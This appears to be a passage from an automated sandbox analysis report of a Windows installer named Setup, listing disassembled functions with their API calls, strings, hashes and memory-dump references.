Instruction Fuzzy Hash: 5E216131344204BEEB10ABBAEC82B1B3798D725719F10057FB505D62E3D67C9C488B1D

Function 0045FAE0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 73COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000057,00000000,0045FBAC,?,?,?,?,00000000), ref: 0045FB4B
SetLastError.KERNEL32(00000000,00000002,?,?,?,0045FC18,?,00000000,0045FBAC,?,?,?,?,00000000), ref: 0045FB8A

Strings

CLASSES_ROOT, xrefs: 0045FB10
USERS, xrefs: 0045FB3D
CURRENT_USER, xrefs: 0045FB1F
MACHINE, xrefs: 0045FB2E

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ErrorLast
String ID: CLASSES_ROOT$CURRENT_USER$MACHINE$USERS
API String ID: 1452528299-1580325520
Opcode ID: e83862a1e05b15892bcbcf9c7021aecaed267dfca8e3f4948f4b67c11d8887b4
Instruction ID: 41a714af2efb6524044bbbdbb9025d62f6764a0084b8f2b49a0179ed108b72ad
Opcode Fuzzy Hash: e83862a1e05b15892bcbcf9c7021aecaed267dfca8e3f4948f4b67c11d8887b4
Instruction Fuzzy Hash: EA119335204208EBD711EEE5C9A2B9B769DEB44306F604077AD0096683E67CBF0D9A1B

Function 0041BD0C Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 0041BD55
GetSystemMetrics.USER32(0000000C), ref: 0041BD5F
73E9A570.USER32(00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BD69
73EA4620.GDI32(00000000,0000000E,00000000,0041BDDC,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BD90
73EA4620.GDI32(00000000,0000000C,00000000,0000000E,00000000,0041BDDC,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BD9D
73E9A480.USER32(00000000,00000000,0041BDE3,0000000E,00000000,0041BDDC,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BDD6

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: A4620MetricsSystem$A480A570
String ID:
API String ID: 4120540252-0
Opcode ID: e30a05410c9ecedbc64e94b765e241ef19380ced5a3321fdf1f4056307873be7
Instruction ID: 25c3e9220b042c06aab2a4aaed70e0436178068a0ba7e0e621aa9c295b63f9d4
Opcode Fuzzy Hash: e30a05410c9ecedbc64e94b765e241ef19380ced5a3321fdf1f4056307873be7
Instruction Fuzzy Hash: 26212A74E00648AFEB00EFA9C941BEEBBB4EF48714F10442AF514B7781D7795940CBA9

Function 0045B754 Relevance: 9.1, APIs: 6, Instructions: 70sleepsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0045B78B
TerminateProcess.KERNEL32(?,00000001,?,00002710,?), ref: 0045B7A7
WaitForSingleObject.KERNEL32(?,00002710,?), ref: 0045B7B5
GetExitCodeProcess.KERNEL32(?), ref: 0045B7C6
CloseHandle.KERNEL32(?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 0045B80D
Sleep.KERNEL32(000000FA,?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 0045B829

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseHandleProcess$CodeExitObjectSingleSleepTerminateWait
String ID:
API String ID: 3355656108-0
Opcode ID: 949ad1211930e3afb3fbf89a7e689494c0a0b2470c85c2bb5483560e1fd9f40f
Instruction ID: c8d03c9f26b72f7a6d63f7e0efd93d7b6463e3ccaae5a7096edfd831dd5bcc74
Opcode Fuzzy Hash: 949ad1211930e3afb3fbf89a7e689494c0a0b2470c85c2bb5483560e1fd9f40f
Instruction Fuzzy Hash: 7C213D706047409AC320EA7AC445B5BB6D8DF48305F14892FF899C7282E77CE8488BAB

Function 00413640 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32(?,000000FC,?), ref: 00413668
GetWindowLongA.USER32(?,000000F0), ref: 00413673
GetWindowLongA.USER32(?,000000F4), ref: 00413685
SetWindowLongA.USER32(?,000000F4,?), ref: 00413698
SetPropA.USER32(?,00000000,00000000), ref: 004136AF
SetPropA.USER32(?,00000000,00000000), ref: 004136C6

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: LongWindow$Prop
String ID:
API String ID: 3887896539-0
Opcode ID: 3a31ccb36ca8f768c37f07287420df6b214e3dc79f9aa8e9266f5017e25df717
Instruction ID: 51c74e8020b2f892dfcfdad1820a49c27563a0fd74058b501e3d31a39627e180
Opcode Fuzzy Hash: 3a31ccb36ca8f768c37f07287420df6b214e3dc79f9aa8e9266f5017e25df717
Instruction Fuzzy Hash: 8B11F9B5500214BFDF00DF99DC84E9A37E8AB18364F104266F918DB2A1D738D990CBA8

Function 00401A78 Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0049E420), ref: 00401AA5
LocalFree.KERNEL32(0054C868,00000000,00401B50), ref: 00401AB7
VirtualFree.KERNEL32(02190000,00000000,00008000,0054C868,00000000,00401B50), ref: 00401AD6
LocalFree.KERNEL32(0054D868,02190000,00000000,00008000,0054C868,00000000,00401B50), ref: 00401B15
RtlLeaveCriticalSection.KERNEL32(0049E420), ref: 00401B40
RtlDeleteCriticalSection.KERNEL32 ref: 00401B4A

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: 9bc1868bcf06ca274d159b73822ce0871eddbaeef6de60568d20369e80fe3579
Instruction ID: 0a62d88172b9d50eed10806779d9bfb4246f885b7eaa3a7478273da8190af814
Opcode Fuzzy Hash: 9bc1868bcf06ca274d159b73822ce0871eddbaeef6de60568d20369e80fe3579
Instruction Fuzzy Hash: CA116D30740640AAEB11EB67ED82B163BA4A79570CF48543BF500676F2D7BDA840C66E

Function 00480138 Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(00010426,000000EC), ref: 00480146
SetWindowPos.USER32(00010426,00000000,00000000,00000000,00000000,00000000,00000097,00010426,000000EC,?,0046F1A1), ref: 0048016C
GetWindowLongA.USER32(00010426,000000EC), ref: 0048017C
SetWindowLongA.USER32(00010426,000000EC,00000000), ref: 0048019D
ShowWindow.USER32(00010426,00000005,00010426,000000EC,00000000,00010426,000000EC,00010426,00000000,00000000,00000000,00000000,00000000,00000097,00010426,000000EC), ref: 004801B1
SetWindowPos.USER32(00010426,00000000,00000000,00000000,00000000,00000000,00000057,00010426,000000EC,00000000,00010426,000000EC,00010426,00000000,00000000,00000000), ref: 004801CD

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$Long$Show
String ID:
API String ID: 3609083571-0
Opcode ID: 538a4284342af987f892fbba93bd596953e28c5e43966aedf51bcff84235003a
Instruction ID: b55abbf30336c1ac30aea3d9b6872c34bf094f755df65048e62115b8147e18fa
Opcode Fuzzy Hash: 538a4284342af987f892fbba93bd596953e28c5e43966aedf51bcff84235003a
Instruction Fuzzy Hash: AB0152B26502106BD700E769CD45F2637D8AB2D310F450666B995EF3E7C63DEC048B0D

Function 0041B1F0 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 0041A670: CreateBrushIndirect.GDI32 ref: 0041A6DB

UnrealizeObject.GDI32(00000000), ref: 0041B1FC
SelectObject.GDI32(?,00000000), ref: 0041B20E
SetBkColor.GDI32(?,00000000), ref: 0041B231
SetBkMode.GDI32(?,00000002), ref: 0041B23C
SetBkColor.GDI32(?,00000000), ref: 0041B257
SetBkMode.GDI32(?,00000001), ref: 0041B262

Part of subcall function 00419FE8: GetSysColor.USER32(?), ref: 00419FF2

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: 184b03234252080323b4251383909695f00113ec7414a400da0b615e4c0bc9ca
Instruction ID: 34caf710fc8514f9ad20cd02f0b65bed40c1cced285b16b4d588a692b1e6f2b2
Opcode Fuzzy Hash: 184b03234252080323b4251383909695f00113ec7414a400da0b615e4c0bc9ca
Instruction Fuzzy Hash: 65F0BBB56052009BDE04FFBADACAE4B77A8AF043097044096B948DF197CA3CDC518B3A

Function 00465D34 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 273COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F02), ref: 00465E38
SetCursor.USER32(00000000,00000000,00007F02,00000000,00465ECD), ref: 00465E3E
SetCursor.USER32(?,00465EB5,00007F02,00000000,00465ECD), ref: 00465EA8

Strings

, xrefs: 004660B3
, xrefs: 004660CE

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Cursor$Load
String ID: $
API String ID: 1675784387-227171996
Opcode ID: 28281072869551082d5c830520d320419490786a619af8a95c30546b9d91fb3e
Instruction ID: c37a2fe86a9515de6f200f4a52e156fe6ec253d186fe13bbf0c2f2c5c0be246d
Opcode Fuzzy Hash: 28281072869551082d5c830520d320419490786a619af8a95c30546b9d91fb3e
Instruction Fuzzy Hash: C9B1A130600604DFDB20DF69C585B9ABBF1AF05304F2585BBE845AB792E779ED44CB0A

Function 0048318C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 170windowCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 00483334
FreeLibrary.KERNEL32(?), ref: 00483348
SendNotifyMessageA.USER32(?,00000496,00002710,00000000), ref: 004833BA

Strings

DeinitializeSetup, xrefs: 00483245
GetCustomSetupExitCode, xrefs: 004831E9

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FreeLibrary$MessageNotifySend
String ID: DeinitializeSetup$GetCustomSetupExitCode
API String ID: 3817813901-1243468240
Opcode ID: a096133f81f5877bbf8ff5bf63c9b2450feef16a99bd7fc6f5de614ea4fd4fce
Instruction ID: fe1e98aa3abc027385b00523a5ff0ff158106eb651b47af119391cf811f24a9d
Opcode Fuzzy Hash: a096133f81f5877bbf8ff5bf63c9b2450feef16a99bd7fc6f5de614ea4fd4fce
Instruction Fuzzy Hash: FC516D34604200AFD715EF69D845B5E7BA4EB29B15F2088BBEC04C73A2DB3C9D49CB59

Function 00472D1C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89registrywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DBF0: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,WSH,?,00000001,?,?,00485357,?,00000001,00000000), ref: 0042DC0C

RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,00472E19,?,?,?,?,00000000), ref: 00472D83
RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,00472E19), ref: 00472D9A
AddFontResourceA.GDI32(00000000), ref: 00472DB7
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 00472DCB

Strings

AddFontResource, xrefs: 00472DD5

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseFontMessageNotifyOpenResourceSendValue
String ID: AddFontResource
API String ID: 955540645-2705230933
Opcode ID: 2aeda39570a06ac3112a65560471fac031ce19285b0d7f1be65ca327dba092da
Instruction ID: 7ffe4aab83e1da7cd2ed640fa28d4576d70ab0aa9fce845f9090590d6cfae8e0
Opcode Fuzzy Hash: 2aeda39570a06ac3112a65560471fac031ce19285b0d7f1be65ca327dba092da
Instruction Fuzzy Hash: F32183707402047BE720E6A68D42F9B67ADDB45718F60C477BA04EB2C2E6BC9D02565D

Function 00404C8E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 71windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00404D29
ExitProcess.KERNEL32 ref: 00404D71

Strings

Runtime error at 00000000, xrefs: 00404D22, 00404D35
|I@, xrefs: 00404CB5, 00404CC0
Error, xrefs: 00404D1D

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000$|I@
API String ID: 1220098344-2373438207
Opcode ID: ffe1f933097929fddab08a5c2ded177f008daaaf2f0d9e7d97d5b18724da76d0
Instruction ID: d7ffb421281ed4168d72343a97ee94685628c7c8b69ecda05c6e00dee82f74f7
Opcode Fuzzy Hash: ffe1f933097929fddab08a5c2ded177f008daaaf2f0d9e7d97d5b18724da76d0
Instruction Fuzzy Hash: 9D21C2B0A052919BFB14E777D885B153AD197E9308F048077E340BB3E2C6BD9885C76E

Function 00423990 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00423928), ref: 004239B4
GetWindow.USER32(?,00000003), ref: 004239C9
GetWindowLongA.USER32(?,000000EC), ref: 004239D8
SetWindowPos.USER32(00000000,h@B,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,004240B7,?,?,00423C7F), ref: 00423A0E

Strings

h@B, xrefs: 004239FE, 00423A02

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$EnumLongWindows
String ID: h@B
API String ID: 4191631535-3509464115
Opcode ID: 26983fad51689c1c0e97884b0f653f49c0783f091dac77fe0a71f303a7b4ae85
Instruction ID: 6b4c4cd5b6548876a910bc1d77927689f32e4635216b5e17d192e02dcffa6082
Opcode Fuzzy Hash: 26983fad51689c1c0e97884b0f653f49c0783f091dac77fe0a71f303a7b4ae85
Instruction Fuzzy Hash: 98117C70704610ABDB10EF68E885F5A73E8EB09715F50026AF994AB2E7C37CDD40CB99

Function 0042E7B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ShutdownBlockReasonCreate), ref: 0042E7EA
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E7F0
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,user32.dll,ShutdownBlockReasonCreate), ref: 0042E819

Strings

ShutdownBlockReasonCreate, xrefs: 0042E7E0
user32.dll, xrefs: 0042E7E5

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressByteCharHandleModuleMultiProcWide
String ID: ShutdownBlockReasonCreate$user32.dll
API String ID: 828529508-2866557904
Opcode ID: 98b08f41605649d362dfb5e60bdd40d730632fee8e14d83b3d279b010cfc27ea
Instruction ID: 5d9ca9cb7cd03fb0a41888ee3e74db10e3eb8354605ccd008fbfad7938bbe0fa
Opcode Fuzzy Hash: 98b08f41605649d362dfb5e60bdd40d730632fee8e14d83b3d279b010cfc27ea
Instruction Fuzzy Hash: 5FF0C2A134062136E22072AFAC82F6F668C8F90759F200436F548E72C2EA6C8901827E

Function 0045A82C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 0045A85C
GetExitCodeProcess.KERNEL32(?,0049B3EA), ref: 0045A87D
CloseHandle.KERNEL32(?,0045A8B0,?,?,0045B0B7,00000000,00000000), ref: 0045A8A3

Strings

MsgWaitForMultipleObjects, xrefs: 0045A869
GetExitCodeProcess, xrefs: 0045A886

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseCodeExitHandleMultipleObjectsProcessWait
String ID: GetExitCodeProcess$MsgWaitForMultipleObjects
API String ID: 2573145106-3235461205
Opcode ID: 9a3a85905f44de5485e6a7e0765f13dfcb45241b316e82fce331ebf984706dc8
Instruction ID: a80586c137f9e92d397dce0a151a96053f1621c391b66297d7528a178cd78326
Opcode Fuzzy Hash: 9a3a85905f44de5485e6a7e0765f13dfcb45241b316e82fce331ebf984706dc8
Instruction Fuzzy Hash: A501A230A44204AFD710FB9ACC42B1E33E8EB49715F600276FD10E73D2DA389D198A5A

Function 0042DC18 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32registrylibraryloaderCOMMON

Download Yara Rule

APIs

RegDeleteKeyA.ADVAPI32(00000000,00000000), ref: 0042DC24
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,?,00000000,0042DDBF,00000000,0042DDD7,?,?,?,?,00000006,?,00000000,0049A563), ref: 0042DC3F
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042DC45

Strings

advapi32.dll, xrefs: 0042DC3A
RegDeleteKeyExA, xrefs: 0042DC35

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressDeleteHandleModuleProc
String ID: RegDeleteKeyExA$advapi32.dll
API String ID: 588496660-1846899949
Opcode ID: 9bed7101ab1097a55c381252b36cd5b04257e7f7ce35eb427956497e28379d14
Instruction ID: 81376e4764730b7cf54ec56458983e83f1d5946c569129e6f74fdd837c0c9ff5
Opcode Fuzzy Hash: 9bed7101ab1097a55c381252b36cd5b04257e7f7ce35eb427956497e28379d14
Instruction Fuzzy Hash: E3E06DB1B02270BAE62466A7BC8EB97275DD774726FA00437F105A61D18AFC0C80C6AC

Function 0042E72C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilterEx,00000004,0049C930,00459A55,00459DE0,004599AC,00000000,00000B06,00000000,00000000,00000001,00000000,00000002,00000000,00482D1B), ref: 0042E745
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E74B
InterlockedExchange.KERNEL32(0049E664,00000001), ref: 0042E75C

Part of subcall function 0042E6BC: GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0042E780,00000004,0049C930,00459A55,00459DE0,004599AC,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042E6D2
Part of subcall function 0042E6BC: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E6D8
Part of subcall function 0042E6BC: InterlockedExchange.KERNEL32(0049E65C,00000001), ref: 0042E6E9

Strings

ChangeWindowMessageFilterEx, xrefs: 0042E73B
user32.dll, xrefs: 0042E740

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressExchangeHandleInterlockedModuleProc
String ID: ChangeWindowMessageFilterEx$user32.dll
API String ID: 3478007392-2676053874
Opcode ID: 32917e3dcd0dfca5132e5c37e92a421efa566e31fa264ddcbe47fd37cecd60f6
Instruction ID: deee03762dadd5cf1865804f65629e9f87d59987b550ea4543523b3128c43d00
Opcode Fuzzy Hash: 32917e3dcd0dfca5132e5c37e92a421efa566e31fa264ddcbe47fd37cecd60f6
Instruction Fuzzy Hash: D9E06D62762320FAEA10B7776CC6F9622589774B1EFA0043BF500A51E1D2BC0C80C66D

Function 0042E6BC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0042E780,00000004,0049C930,00459A55,00459DE0,004599AC,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042E6D2
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E6D8
InterlockedExchange.KERNEL32(0049E65C,00000001), ref: 0042E6E9

Strings

user32.dll, xrefs: 0042E6CD
ChangeWindowMessageFilter, xrefs: 0042E6C8

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressExchangeHandleInterlockedModuleProc
String ID: ChangeWindowMessageFilter$user32.dll
API String ID: 3478007392-2498399450
Opcode ID: 83731a3f8f6e924396f12c528bb8fd116da224faa73aa2749e9b9c3f15f1304b
